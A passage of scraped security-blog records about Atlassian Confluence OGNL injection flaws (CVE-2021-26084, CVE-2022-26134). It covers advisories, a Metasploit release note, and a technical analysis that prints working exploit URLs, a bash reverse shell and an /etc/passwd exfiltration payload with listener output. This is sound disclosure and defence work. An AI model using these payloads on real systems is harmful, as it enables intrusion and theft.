code has been publicly available since August 31, 2021, and both Rapid7 and community researchers have observed active exploitation as of September 2. **Organizations that have not patched this Confluence Server and Confluence Data Center vulnerability should do so on an emergency basis.**\n\nFor a complete list of fixed versions, see [Atlassian\u2019s advisory here](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>).\n\nFor full vulnerability analysis, including triggers and check information, see [Rapid7\u2019s analysis in AttackerKB](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084/rapid7-analysis?referrer=blog>).\n\n## Rapid7 customers\n\nRapid7's Managed Detection and Response (MDR) team has observed active exploitation against vulnerable Confluence targets. InsightIDR customers should ensure that the Insight Agent is installed on all Confluence servers to maximize post-compromise detection visibility.\n\nInsightVM and Nexpose customers can assess their exposure to [CVE-2021-26084](<https://www.rapid7.com/db/vulnerabilities/atlassian-confluence-cve-2021-26084/>) with remote vulnerability checks as of the August 26, 2021 content release.\n\n## Updates\n\n**September 2, 2021:** \nThe Rapid7 Threat Detection & Response team added or updated the following detections to InsightIDR to help you identify successful exploitation of this vulnerability:\n\n * **Suspicious Process - Curl Downloading Shell Script** detects when the Curl utility is being used to download a shell script. The Curl utility is often used by malicious actors to download additional payloads on compromised Linux systems.\n * **Suspicious Process - Confluence Java App Launching Processes** identifies processes being launched by the Atlassian Confluence server app. Malicious actors have been observed exploiting CVE-2021-26084, a vulnerability for Confluence disclosed in August 2021 which can allow execution of arbitrary processes.\n * **Suspicious Process - Common Compromised Linux Webserver Commands** identifies commands that Rapid7 has observed being run on compromised Linux webservers.\n\n**September 3, 2021:** \nAttacks are continuing to increase, therefore Rapid7 has updated the patching priority to "patch on an emergency basis."\n\nThe US Cyber Command has tweeted guidance asking for organizations to ["patch immediately"](<https://twitter.com/CNMF_CyberAlert/status/1433787671785185283>) as "this cannot wait until after the weekend."\n\nCISA has also released a [ransomware awareness guide](<https://us-cert.cisa.gov/ncas/alerts/aa21-243a>) for holidays and weekends.\n\nCurrent attacks have been focused on deploying coin miners, but the pivot to deploying ransomware may not take long.\n\n**September 7, 2021:** \nAtlassian has updated their [advisory on CVE-2021-26084](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) to note that the vulnerability is exploitable by unauthenticated attackers _regardless of configuration._ Widespread exploitation is ongoing.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {}, "published": "2021-09-02T15:44:36", "type": "rapid7blog", "title": "Active Exploitation of Confluence Server & Confluence Data Center: CVE-2021-26084", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-02T15:44:36", "id": "RAPID7BLOG:A94573CD34833AE3602C45D8FAA89AD4", "href": "https://blog.rapid7.com/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-10T18:59:32", "description": "## Confluence Server OGNL Injection\n\n\n\nOur own [wvu](<https://github.com/wvu-r7>) along with [Jang](<https://twitter.com/testanull>) added a module that exploits an OGNL injection ([CVE-2021-26804](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection>))in Atlassian Confluence's WebWork component to execute commands as the Tomcat user. CVE-2021-26804 is a critical remote code execution vulnerability in Confluence Server and Confluence Data Center and is actively being exploited in the wild. Initial discovery of this exploit was by Benny Jacob (SnowyOwl).\n\n## More Enhancements\n\nIn addition to the module, we would like to highlight some of the enhancements that have been added for this release. Contributor [e2002e](<https://github.com/e2002e>) added the `OUTFILE` and `DATABASE` options to the `zoomeye_search` module allowing users to save results to a local file or local database along with improving the output of the module to provide better information about the target. Our own [dwelch-r7](<https://github.com/dwelch-r7>) has added support for fully interactive shells against Linux environments with `shell -it`. In order to use this functionality, users will have to enable the feature flag with `features set fully_interactive_shells true`. Contributor [pingport80](<https://github.com/pingport80>) has added `powershell` support for `write_file` method that is binary safe and has also replaced explicit `cat` calls with file reads from the file library to provide broader support.\n\n## New module content (1)\n\n * [Atlassian Confluence WebWork OGNL Injection](<https://github.com/rapid7/metasploit-framework/pull/15645>) by [wvu](<https://github.com/wvu-r7>), [Benny Jacob](<https://twitter.com/bennyyjacob>), and [Jang](<https://twitter.com/testanull>), which exploits [CVE-2021-26084](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection?referrer=blog>) \\- This adds an exploit module targeting an OGNL injection vulnerability (CVE-2021-26084) in Atlassian Confluence's WebWork component to execute commands as the Tomcat user.\n\n## Enhancements and features\n\n * [#15278](<https://github.com/rapid7/metasploit-framework/pull/15278>) from [e2002e](<https://github.com/e2002e>) \\- The `zoomeye_search` module has been enhanced to add the `OUTFILE` and `DATABASE` options, which allow users to save results to a local file or to the local database respectively. Additionally the output saved has been improved to provide better information about the target and additional error handling has been added to better handle potential edge cases.\n * [#15522](<https://github.com/rapid7/metasploit-framework/pull/15522>) from [dwelch-r7](<https://github.com/dwelch-r7>) \\- Adds support for fully interactive shells against Linux environments with `shell -it`. This functionality is behind a feature flag and can be enabled with `features set fully_interactive_shells true`\n * [#15560](<https://github.com/rapid7/metasploit-framework/pull/15560>) from [pingport80](<https://github.com/pingport80>) \\- This PR add powershell support for write_file method that is binary safe.\n * [#15627](<https://github.com/rapid7/metasploit-framework/pull/15627>) from [pingport80](<https://github.com/pingport80>) \\- This PR removes explicit `cat` calls and replaces them with file reads from the file library so that they have broader support.\n\n## Bugs fixed\n\n * [#15634](<https://github.com/rapid7/metasploit-framework/pull/15634>) from [maikthulhu](<https://github.com/maikthulhu>) \\- This PR fixes an issue in `exploit/multi/misc/erlang_cookie_rce` where a missing bitwise flag caused the exploit to fail in some circumstances.\n * [#15636](<https://github.com/rapid7/metasploit-framework/pull/15636>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Fixes a regression in datastore serialization that caused some event processing to fail.\n * [#15637](<https://github.com/rapid7/metasploit-framework/pull/15637>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Fixes a regression issue were Metasploit incorrectly marked ipv6 address as having an 'invalid protocol'\n * [#15639](<https://github.com/rapid7/metasploit-framework/pull/15639>) from [gwillcox-r7](<https://github.com/gwillcox-r7>) \\- This fixes a bug in the `rename_files` method that would occur when run on a non-Windows shell session.\n * [#15640](<https://github.com/rapid7/metasploit-framework/pull/15640>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Updates `modules/auxiliary/gather/office365userenum.py` to require python3\n * [#15652](<https://github.com/rapid7/metasploit-framework/pull/15652>) from [jmartin-r7](<https://github.com/jmartin-r7>) \\- A missing dependency, `py3-pip`, was preventing certain external modules such as `auxiliary/gather/office365userenum` from working due to `requests` requiring `py3-pip` to run properly. This has been fixed by updating the Docker container to install the missing `py3-pip` dependency.\n * [#15654](<https://github.com/rapid7/metasploit-framework/pull/15654>) from [space-r7](<https://github.com/space-r7>) \\- A bug has been fixed in `lib/msf/core/payload/windows/encrypted_reverse_tcp.rb` whereby a call to `recv()` was not being passed the proper arguments to receive the full payload before returning. This could result in cases where only part of the payload was received before continuing, which would have resulted in a crash. This has been fixed by adding a flag to the `recv()` function call to ensure it receives the entire payload before returning.\n * [#15655](<https://github.com/rapid7/metasploit-framework/pull/15655>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This cleans up the MySQL client-side options that are used within the library code.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.1.3...6.1.5](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-09-02T10%3A13%3A16-05%3A00..2021-09-08T18%3A07%3A57-05%3A00%22>)\n * [Full diff 6.1.3...6.1.5](<https://github.com/rapid7/metasploit-framework/compare/6.1.3...6.1.5>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 6.5, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-09-10T18:32:40", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-26804"], "modified": "2021-09-10T18:32:40", "id": "RAPID7BLOG:3538F350FD08E0CFD124821C57A21C64", "href": "https://blog.rapid7.com/2021/09/10/metasploit-wrap-up-129/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-07T01:56:25", "description": "\n\nOn June 2, 2022, Atlassian published a [security advisory](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>) for CVE-2022-26134, a critical unauthenticated remote code execution vulnerability in Confluence Server and Confluence Data Center. The vulnerability was unpatched when it was published on June 2. As of June 3, both patches and a temporary workaround are available.\n\nCVE-2022-26134 is being actively and widely [exploited in the wild](<https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/>). Rapid7's Managed Detection and Response (MDR) team has observed an uptick of likely exploitation of CVE-2022-26134 in customer environments as of June 3.\n\nAll supported versions of Confluence Server and Data Center are affected. \nAtlassian updated their advisory on June 3 to reflect that it's likely that **all versions** (whether supported or not) of Confluence Server and Data Center are affected, but they have yet to confirm the earliest affected version. Organizations should install patches OR apply the workaround on an **emergency basis**. If you are unable to mitigate the vulnerability for any version of Confluence, you should restrict or disable Confluence Server and Confluence Data Center instances immediately.\n\n## Technical analysis\n\nCVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server (typically the `confluence` user on Linux installations). Given the nature of the vulnerability, [internet-facing](<https://www.shodan.io/search?query=X-Confluence-Request-Time>) Confluence servers are at very high risk.\n\nLast year, Atlassian Confluence suffered from a different unauthenticated and remote OGNL injection, [CVE-2021-26084](<https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/>). Organizations maintaining an internet-facing Confluence or Data Server may want to consider permanently moving access behind a VPN.\n\n### The vulnerability\n\nAs stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. \u201cBALH\u201d). In its simplest form, an exploit abusing the vulnerability looks like this:\n \n \n curl -v http://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/\n \n\nAbove, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of `/`. Decoded it looks like this:\n \n \n ${@java.lang.Runtime@getRuntime().exec(\"touch /tmp/r7\")}\n \n\nEvidence of exploitation can typically be found in access logs because the exploit is stored in the HTTP request field. For example, on our test Confluence (version 7.13.6 LTS), the log file `/opt/atlassian/confluence/logs/conf_access_log.<yyyy-mm-dd>.log` contains the following entry after exploitation:\n \n \n [02/Jun/2022:16:02:13 -0700] - http-nio-8090-exec-10 10.0.0.28 GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/ HTTP/1.1 302 20ms - - curl/7.68.0\n \n\nScanning for vulnerable servers is easy because exploitation allows attackers to force the server to send command output in the HTTP response. For example, the following request will return the response of `whoami` in the attacker-created `X-Cmd-Response` HTTP field (credit to Rapid7\u2019s Brandon Turner for the exploit below). Note the `X-Cmd-Response: confluence` line in the HTTP response:\n \n \n curl -v http://10.0.0.28:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/\n * Trying 10.0.0.28:8090...\n * TCP_NODELAY set\n * Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0)\n > GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1\n > Host: 10.0.0.28:8090\n > User-Agent: curl/7.68.0\n > Accept: */*\n > \n * Mark bundle as not supporting multiuse\n < HTTP/1.1 302 \n < Cache-Control: no-store\n < Expires: Thu, 01 Jan 1970 00:00:00 GMT\n < X-Confluence-Request-Time: 1654212503090\n < Set-Cookie: JSESSIONID=34154443DC363351DD0FE3D1EC3BEE01; Path=/; HttpOnly\n < X-XSS-Protection: 1; mode=block\n < X-Content-Type-Options: nosniff\n < X-Frame-Options: SAMEORIGIN\n < Content-Security-Policy: frame-ancestors 'self'\n < X-Cmd-Response: confluence \n < Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true\n < Content-Type: text/html;charset=UTF-8\n < Content-Length: 0\n < Date: Thu, 02 Jun 2022 23:28:23 GMT\n < \n * Connection #0 to host 10.0.0.28 left intact\n \n\nDecoding the exploit in the `curl` request shows how this is achieved. The exploit saves the output of the `exec` call and uses `setHeader` to include the result in the server\u2019s response to the attacker.\n \n \n ${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\"whoami\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))}\n \n\n### Root cause\n\nOur investigation led to the following partial call stack. The call stack demonstrates the OGNL injection starting from `HttpServlet.service` to `OgnlValueStack.findValue` and beyond.\n \n \n at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:171)\n at ognl.SimpleNode.getValue(SimpleNode.java:193)\n at ognl.Ognl.getValue(Ognl.java:333)\n at ognl.Ognl.getValue(Ognl.java:310)A\n at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141)\n at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39)\n at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95)\n at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187)\n at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61)\n at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51)\n at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115)\n at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56)\n at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)\n at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)\n \n\n`OgnlValueStack` [findValue(str)](<https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ognl/OgnlValueStack.html#findValue-java.lang.String->) is important as it is the starting point for the OGNL expression to be evaluated. As we can see in the call stack above, `TextParseUtil.class` invokes `OgnlValueStack.findValue` when this vulnerability is exploited.\n \n \n public class TextParseUtil {\n public static String translateVariables(String expression, OgnlValueStack stack) {\n StringBuilder sb = new StringBuilder();\n Pattern p = Pattern.compile(\"\\\\$\\\\{([^}]*)\\\\}\");\n Matcher m = p.matcher(expression);\n int previous = 0;\n while (m.find()) {\n String str1, g = m.group(1);\n int start = m.start();\n try {\n Object o = stack.findValue(g);\n str1 = (o == null) ? \"\" : o.toString();\n } catch (Exception ignored) {\n str1 = \"\";\n } \n sb.append(expression.substring(previous, start)).append(str1);\n previous = m.end();\n } \n if (previous < expression.length())\n sb.append(expression.substring(previous)); \n return sb.toString();\n }\n }\n \n\n`ActionChainResult.class` calls `TextParseUtil.translateVariables` using `this.namespace` as the provided expression:\n \n \n public void execute(ActionInvocation invocation) throws Exception {\n if (this.namespace == null)\n this.namespace = invocation.getProxy().getNamespace(); \n OgnlValueStack stack = ActionContext.getContext().getValueStack();\n String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);\n String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);\n \n\nWhere `namespace` is created from the request URI string in `com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath`:\n \n \n public static String getNamespaceFromServletPath(String servletPath) {\n servletPath = servletPath.substring(0, servletPath.lastIndexOf(\"/\"));\n return servletPath;\n }\n \n\nThe result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation. At a high level, this is very similar to [CVE-2018-11776](<https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/struts2_namespace_ognl.rb>), the Apache Struts2 namespace OGNL injection vulnerability. Just a reminder that there is nothing new in this world.\n\n### The patch\n\nOn June 3, 2022, Atlassian directed customers to replace `xwork-1.0.3.6.jar` with a newly released `xwork-1.0.3-atlassian-10.jar`. The xwork jars contain the `ActionChainResult.class` and `TextParseUtil.class` we identified as the path to OGNL expression evaluation.\n\nThe patch makes a number of small changes to fix this issue. For one, `namespace` is no longer passed down to `TextParseUtil.translateVariables` from `ActionChainResult.execute`:\n\n**Before:**\n \n \n public void execute(ActionInvocation invocation) throws Exception {\n if (this.namespace == null)\n this.namespace = invocation.getProxy().getNamespace(); \n OgnlValueStack stack = ActionContext.getContext().getValueStack();\n String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);\n String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);\n \n\n**After:**\n \n \n public void execute(ActionInvocation invocation) throws Exception {\n if (this.namespace == null)\n this.namespace = invocation.getProxy().getNamespace(); \n String finalNamespace = this.namespace;\n String finalActionName = this.actionName;\n \n\nAtlassian also added `SafeExpressionUtil.class` to the `xworks` jar. `SafeExpressionUtil.class` provides filtering of unsafe expressions and has been inserted into `OgnlValueStack.class` in order to examine expressions when `findValue` is invoked. For example:\n \n \n public Object findValue(String expr) {\n try {\n if (expr == null)\n return null; \n if (!this.safeExpressionUtil.isSafeExpression(expr))\n return null; \n if (this.overrides != null && this.overrides.containsKey(expr))\n \n\n### Payloads\n\nThe OGNL injection primitive gives attackers many options. Volexity\u2019s excellent **[Zero-Day Exploitation of Atlassian Confluence](<https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/>)** discusses JSP webshells being dropped to disk. However, Confluence Server should typically execute as `confluence` and not `root`. The `confluence` user is fairly restricted and unable to introduce web shells (to our knowledge).\n\nJava does otherwise provide a wide variety of features that aid in achieving and maintaining execution (both with and without touching disk). It\u2019s impossible to demonstrate all here, but a reverse shell routed through Java\u2019s [Nashorn](<https://docs.oracle.com/javase/10/nashorn/introduction.htm#JSNUG136>) engine is, perhaps, an interesting place for others to explore.\n \n \n curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/\n \n\nDecoded, the exploit looks like the following:\n \n \n ${new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.0.0.28/1270 0>&1').start()\")}\n \n\nAnd results in a reverse shell:\n \n \n albinolobster@ubuntu:~$ nc -lvnp 1270\n Listening on 0.0.0.0 1270\n Connection received on 10.0.0.28 37148\n bash: cannot set terminal process group (34470): Inappropriate ioctl for device\n bash: no job control in this shell\n bash: /root/.bashrc: Permission denied\n confluence@ubuntu:/opt/atlassian/confluence/bin$ id\n id\n uid=1001(confluence) gid=1002(confluence) groups=1002(confluence)\n confluence@ubuntu:/opt/atlassian/confluence/bin$\n \n\nOf course, shelling out can be highly risky for attackers if the victim is running some type of threat detection software. Executing in memory only is least likely to get an attacker caught. As an example, we put together a simple exploit that will read `/etc/passwd` and exfiltrate it to the attacker without shelling out.\n \n \n curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20data%20%3D%20new%20java.lang.String%28java.nio.file.Files.readAllBytes%28java.nio.file.Paths.get%28%27/etc/passwd%27%29%29%29%3Bvar%20sock%20%3D%20new%20java.net.Socket%28%2710.0.0.28%27%2C%201270%29%3B%20var%20output%20%3D%20new%20java.io.BufferedWriter%28new%20java.io.OutputStreamWriter%28sock.getOutputStream%28%29%29%29%3B%20output.write%28data%29%3B%20output.flush%28%29%3B%20sock.close%28%29%3B%22%29%7D/\n \n\nWhen decoded, the reader can see that we again have relied on the Nashorn scripting engine.\n \n \n ${new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd')));var sock = new java.net.Socket('10.0.0.28', 1270); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();\")}\n \n\nAgain, the attacker is listening for the exfiltration which looks, as you\u2019d expect, like `/etc/passd`:\n \n \n albinolobster@ubuntu:~$ nc -lvnp 1270\n Listening on 0.0.0.0 1270\n Connection received on 10.0.0.28 37162\n root:x:0:0:root:/root:/bin/bash\n daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n bin:x:2:2:bin:/bin:/usr/sbin/nologin\n sys:x:3:3:sys:/dev:/usr/sbin/nologin\n sync:x:4:65534:sync:/bin:/bin/sync\n games:x:5:60:games:/usr/games:/usr/sbin/nologin\n man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n \u2026 truncated \u2026\n \n\nFinally, note that the exploit could be entirely URI-encoded as well. Writing any type of detection logic that relies on **just** the ASCII form will be quickly bypassed.\n\n## Mitigation guidance\n\nAtlassian released patches for CVE-2022-26134 on June 3, 2022. A full list of fixed versions is available in the [advisory](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>). A temporary workaround for CVE-2022-26134 is also available\u2014note that the workaround must be manually applied. Detailed instructions are [available in Atlassian's advisory](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>) for applying the workaround to Confluence Server and Data Center 7.15.0-7.18.0 and 7.0.0-7.14.2.\n\nOrganizations should install patches OR apply the workaround on an **emergency basis**. If you are unable to mitigate the vulnerability for any version of Confluence, you should restrict or disable Confluence Server and Confluence Data Center instances immediately. We recommend that all organizations consider implementing IP address safelisting rules to restrict access to Confluence.\n\nIf you are unable to apply safelist IP rules to your Confluence server, consider adding WAF protection. Based on the details published so far, we recommend adding Java deserialization rules that defend against RCE injection vulnerabilities, such as CVE-2021-26084. For example, see the `JavaDeserializationRCE_BODY`, `JavaDeserializationRCE_URI`, `JavaDeserializationRCE_QUERYSTRING`, and `JavaDeserializationRCE_HEADER` rules described [here](<https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-baseline.html#aws-managed-rule-groups-baseline-known-bad-inputs>).\n\n## Rapid7 customers\n\n**InsightVM and Nexpose:** Customers can assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks as of June 3, 2022:\n\n * A remote check (atlassian-confluence-cve-2022-26134-remote) available in the 3:30 PM EDT content-only release on June 3\n * A remote _version_ check (atlassian-confluence-cve-2022-26134) available in the 9 PM EDT content-only release on June 3\n\n**InsightIDR:** Customers should look for alerts generated by InsightIDR's built-in detection rules from systems monitored by the Insight Agent. Alerts generated by the following rules may be indicative of related malicious activity:\n\n * Confluence Java App Launching Processes\n\nThe Rapid7 MDR (Managed Detection & Response) SOC is monitoring for this activity and will escalate confirmed malicious activity to managed customers immediately.\n\n**tCell:** Customers leveraging the Java App Server Agent can protect themselves from exploitation by using the OS Commands block capability. For customers leveraging a Web Server Agent, we recommend creating a block rule for any url path starting with `${` or `%24%7B`.\n\n## Updates\n\n**June 3, 2022 11:20 AM EDT:** This blog has been updated to reflect that all supported versions of Confluence Server and Confluence Data Center are affected, and it's likely that **all versions** (including LTS and unsupported) are affected, but Atlassian has not yet determined the earliest vulnerable version.\n\n**June 3, 2022 11:45 AM EDT:** Atlassian has released a temporary workaround for CVE-2022-26134. The workaround must be manually applied. Detailed instructions are [available in Atlassian's advisory](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>) for applying the workaround to Confluence Server and Data Center 7.15.0-7.18.0 and 7.0.0-7.14.2.\n\n**June 3, 2022 1:15 PM EDT:** Atlassian has released patches for CVE-2022-26134. A full list of fixed versions is [available in their advisory](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>). Rapid7 recommends applying patches OR the temporary workaround (manual) on an **emergency basis.**\n\n**June 3, 2022 3:15 PM EDT:** A full technical analysis of CVE-2022-26134 has been added to this blog to aid security practitioners in understanding and prioritizing this vulnerability. A vulnerability check for InsightVM and Nexpose customers is in active development with a release targeted for this afternoon.\n\n**June 3, 2022 3:30 PM EDT:** InsightVM and Nexpose customers can assess their exposure to CVE-2022-26134 with a remote vulnerability check in today's (June 3, 2022) content release.\n\n**June 6, 2022 10 AM EDT:** A second content release went out the evening of Friday, June 3 containing a remote version check for CVE-2022-26134. This means InsightVM and Nexpose customers are able to assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks.\n\nAttacker activity targeting on-premise instances of Confluence Server and Confluence Data Center has continued to increase. Organizations that have not yet applied the patch or the workaround should **assume compromise** and activate incident response protocols in addition to remediating CVE-2022-26134 on an emergency basis.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-02T23:27:15", "type": "rapid7blog", "title": "Active Exploitation of Confluence CVE-2022-26134", "bulletinFamily": "info", "cvss2": {"severity": 